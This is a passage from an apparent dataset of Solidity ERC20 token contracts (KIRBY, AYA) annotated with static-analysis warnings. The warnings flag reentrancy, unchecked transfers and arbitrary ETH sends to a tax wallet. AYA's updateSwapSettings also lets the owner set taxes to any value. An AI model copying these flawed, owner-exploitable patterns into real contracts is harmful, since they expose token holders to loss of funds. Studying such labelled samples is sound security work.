Optimization Issue (immutable-states | ID: 0cf7c2c): KIRBY.uniswapV2Router should be immutable \n\t// Recommendation for 0cf7c2c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5ed70da): KIRBY.uniswapV2Pair should be immutable \n\t// Recommendation for 5ed70da: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79d33a0): KIRBY.sellsPerBlock should be constant \n\t// Recommendation for 79d33a0: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: 146f937): KIRBY.buysFirstBlock should be constant \n\t// Recommendation for 146f937: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 28798e4): KIRBY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 28798e4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d649170): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d649170: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9e534cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9e534cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d649170\n\t\t// reentrancy-benign | ID: 9e534cf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d649170\n\t\t// reentrancy-benign | ID: 9e534cf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de9ba52): KIRBY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de9ba52: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9e534cf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d649170\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f9fcdac): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f9fcdac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 692292d): KIRBY._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 692292d: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57b2cf3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57b2cf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 29d2976): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 29d2976: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 692292d\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: f9fcdac\n\t\t\t\t// reentrancy-eth | ID: 57b2cf3\n\t\t\t\t// reentrancy-eth | ID: 29d2976\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f9fcdac\n\t\t\t\t\t// reentrancy-eth | ID: 57b2cf3\n\t\t\t\t\t// reentrancy-eth | ID: 29d2976\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 29d2976\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 29d2976\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: f9fcdac\n\t\t\t\t// reentrancy-eth | ID: 57b2cf3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f9fcdac\n\t\t\t\t\t// reentrancy-eth | ID: 57b2cf3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 57b2cf3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f9fcdac\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 57b2cf3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 57b2cf3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f9fcdac\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d649170\n\t\t// reentrancy-events | ID: f9fcdac\n\t\t// reentrancy-benign | ID: 9e534cf\n\t\t// reentrancy-eth | ID: 57b2cf3\n\t\t// reentrancy-eth | ID: 29d2976\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bda4982): KIRBY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bda4982: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d649170\n\t\t// reentrancy-events | ID: f9fcdac\n\t\t// reentrancy-eth | ID: 57b2cf3\n\t\t// reentrancy-eth | ID: 29d2976\n\t\t// arbitrary-send-eth | ID: bda4982\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 051e6a7): KIRBY.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 051e6a7: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 051e6a7\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3301f4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3301f4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4bcd9bf): KIRBY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4bcd9bf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ec2b3bb): KIRBY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ec2b3bb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: baaf630): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for baaf630: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 3301f4e\n\t\t// unused-return | ID: ec2b3bb\n\t\t// reentrancy-eth | ID: baaf630\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3301f4e\n\t\t// unused-return | ID: 4bcd9bf\n\t\t// reentrancy-eth | ID: baaf630\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3301f4e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: baaf630\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 3301f4e\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10734.sol",
"size_bytes": 23070,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d3446bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d3446bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 522d709): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 522d709: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d3446bb\n\t\t// reentrancy-benign | ID: 522d709\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d3446bb\n\t\t// reentrancy-benign | ID: 522d709\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 522d709\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d3446bb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 234d80d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 234d80d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7f06f58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7f06f58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4564a9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4564a9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 234d80d\n\t\t\t\t// reentrancy-eth | ID: 7f06f58\n\t\t\t\t// reentrancy-eth | ID: 4564a9b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 234d80d\n\t\t\t\t\t// reentrancy-eth | ID: 7f06f58\n\t\t\t\t\t// reentrancy-eth | ID: 4564a9b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7f06f58\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7f06f58\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 234d80d\n\t\t\t\t// reentrancy-eth | ID: 4564a9b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 234d80d\n\t\t\t\t\t// reentrancy-eth | ID: 4564a9b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4564a9b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 234d80d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4564a9b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4564a9b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 234d80d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 234d80d\n\t\t// reentrancy-events | ID: d3446bb\n\t\t// reentrancy-benign | ID: 522d709\n\t\t// reentrancy-eth | ID: 7f06f58\n\t\t// reentrancy-eth | ID: 4564a9b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8692e8c): Missing events for critical arithmetic parameters.\n\t// Recommendation for 8692e8c: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 8692e8c\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 8692e8c\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 8692e8c\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 8692e8c\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 8692e8c\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 5efad13): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 5efad13: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 5efad13\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 234d80d\n\t\t// reentrancy-events | ID: d3446bb\n\t\t// reentrancy-eth | ID: 7f06f58\n\t\t// reentrancy-eth | ID: 4564a9b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9b58f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9b58f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1422bdb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double 